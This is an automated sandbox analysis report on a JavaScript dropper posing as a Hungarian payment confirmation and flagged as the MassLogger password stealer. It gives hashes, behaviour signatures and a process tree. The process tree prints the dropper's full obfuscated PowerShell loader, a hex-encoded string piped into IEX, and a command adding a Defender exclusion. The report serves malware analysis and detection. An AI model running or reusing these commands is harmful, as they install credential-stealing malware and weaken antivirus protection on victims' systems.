Analysis
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max time kernel
55s -
max time network
147s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
01/12/2020, 08:08
Static task
static1
Behavioral task
behavioral1
Sample
fizetési_visszaigazolás.js
Resource
win7v20201028
Behavioral task
behavioral2
Sample
fizetési_visszaigazolás.js
Resource
win10v20201028
General
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Target
fizetési_visszaigazolás.js
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Size
3KB
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MD5
3c4c51617719e0431c8947756c1a79e2
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SHA1
d4ce83ce15355ddd4940a2d739e9eef978e0921c
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SHA256
03cb959ae09b02512f1793b03afa9092886bbeb9b38b9404a583e7ab6889df4a
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SHA512
7138b5b3c2dad718a539a4e62a7d1edf7c80578af9e9dfb9501da9b66000d38c949f79c78e2e580c68d1e06cbac97740955292002546d3e9d3e8a168fb265b6c
Malware Config
Signatures
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MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
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MassLogger Main Payload 4 IoCs
resource yara_rule behavioral1/memory/916-18-0x0000000000481B1E-mapping.dmp family_masslogger behavioral1/memory/916-17-0x0000000000400000-0x0000000000486000-memory.dmp family_masslogger behavioral1/memory/916-19-0x0000000000400000-0x0000000000486000-memory.dmp family_masslogger behavioral1/memory/916-20-0x0000000000400000-0x0000000000486000-memory.dmp family_masslogger -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1104 1760 powershell.exe 28 -
Blacklisted process makes network request 1 IoCs
flow pid Process 8 1104 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 api.ipify.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{47DF8E31-33B4-11EB-AA5C-E6A19248D3FE} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1104 powershell.exe 1104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe Token: SeIncreaseQuotaPrivilege 1104 powershell.exe Token: SeSecurityPrivilege 1104 powershell.exe Token: SeTakeOwnershipPrivilege 1104 powershell.exe Token: SeLoadDriverPrivilege 1104 powershell.exe Token: SeSystemProfilePrivilege 1104 powershell.exe Token: SeSystemtimePrivilege 1104 powershell.exe Token: SeProfSingleProcessPrivilege 1104 powershell.exe Token: SeIncBasePriorityPrivilege 1104 powershell.exe Token: SeCreatePagefilePrivilege 1104 powershell.exe Token: SeBackupPrivilege 1104 powershell.exe Token: SeRestorePrivilege 1104 powershell.exe Token: SeShutdownPrivilege 1104 powershell.exe Token: SeDebugPrivilege 1104 powershell.exe Token: SeSystemEnvironmentPrivilege 1104 powershell.exe Token: SeRemoteShutdownPrivilege 1104 powershell.exe Token: SeUndockPrivilege 1104 powershell.exe Token: SeManageVolumePrivilege 1104 powershell.exe Token: 33 1104 powershell.exe Token: 34 1104 powershell.exe Token: 35 1104 powershell.exe Token: SeIncreaseQuotaPrivilege 1104 powershell.exe Token: SeSecurityPrivilege 1104 powershell.exe Token: SeTakeOwnershipPrivilege 1104 powershell.exe Token: SeLoadDriverPrivilege 1104 powershell.exe Token: SeSystemProfilePrivilege 1104 powershell.exe Token: SeSystemtimePrivilege 1104 powershell.exe Token: SeProfSingleProcessPrivilege 1104 powershell.exe Token: SeIncBasePriorityPrivilege 1104 powershell.exe Token: SeCreatePagefilePrivilege 1104 powershell.exe Token: SeBackupPrivilege 1104 powershell.exe Token: SeRestorePrivilege 1104 powershell.exe Token: SeShutdownPrivilege 1104 powershell.exe Token: SeDebugPrivilege 1104 powershell.exe Token: SeSystemEnvironmentPrivilege 1104 powershell.exe Token: SeRemoteShutdownPrivilege 1104 powershell.exe Token: SeUndockPrivilege 1104 powershell.exe Token: SeManageVolumePrivilege 1104 powershell.exe Token: 33 1104 powershell.exe Token: 34 1104 powershell.exe Token: 35 1104 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1512 iexplore.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1512 iexplore.exe 1512 iexplore.exe 1356 IEXPLORE.EXE 1356 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1512 wrote to memory of 1356 1512 iexplore.exe 35 PID 1512 wrote to memory of 1356 1512 iexplore.exe 35 PID 1512 wrote to memory of 1356 1512 iexplore.exe 35 PID 1512 wrote to memory of 1356 1512 iexplore.exe 35
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fizetési_visszaigazolás.js1⤵PID:1008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $yquAX='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!92!72!E5!72!82!47!96!C6!07!37!E2!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!23!E4!F2!F6!27!E2!37!E6!16!27!47!16!46!16!36!F6!27!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!72!02!B2!02!72!35!46!16!72!02!B2!02!72!F6!C6!E6!72!02!B2!02!72!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$yquAX.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1104 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵PID:916
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe'3⤵PID:1656
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1512 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1356
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:804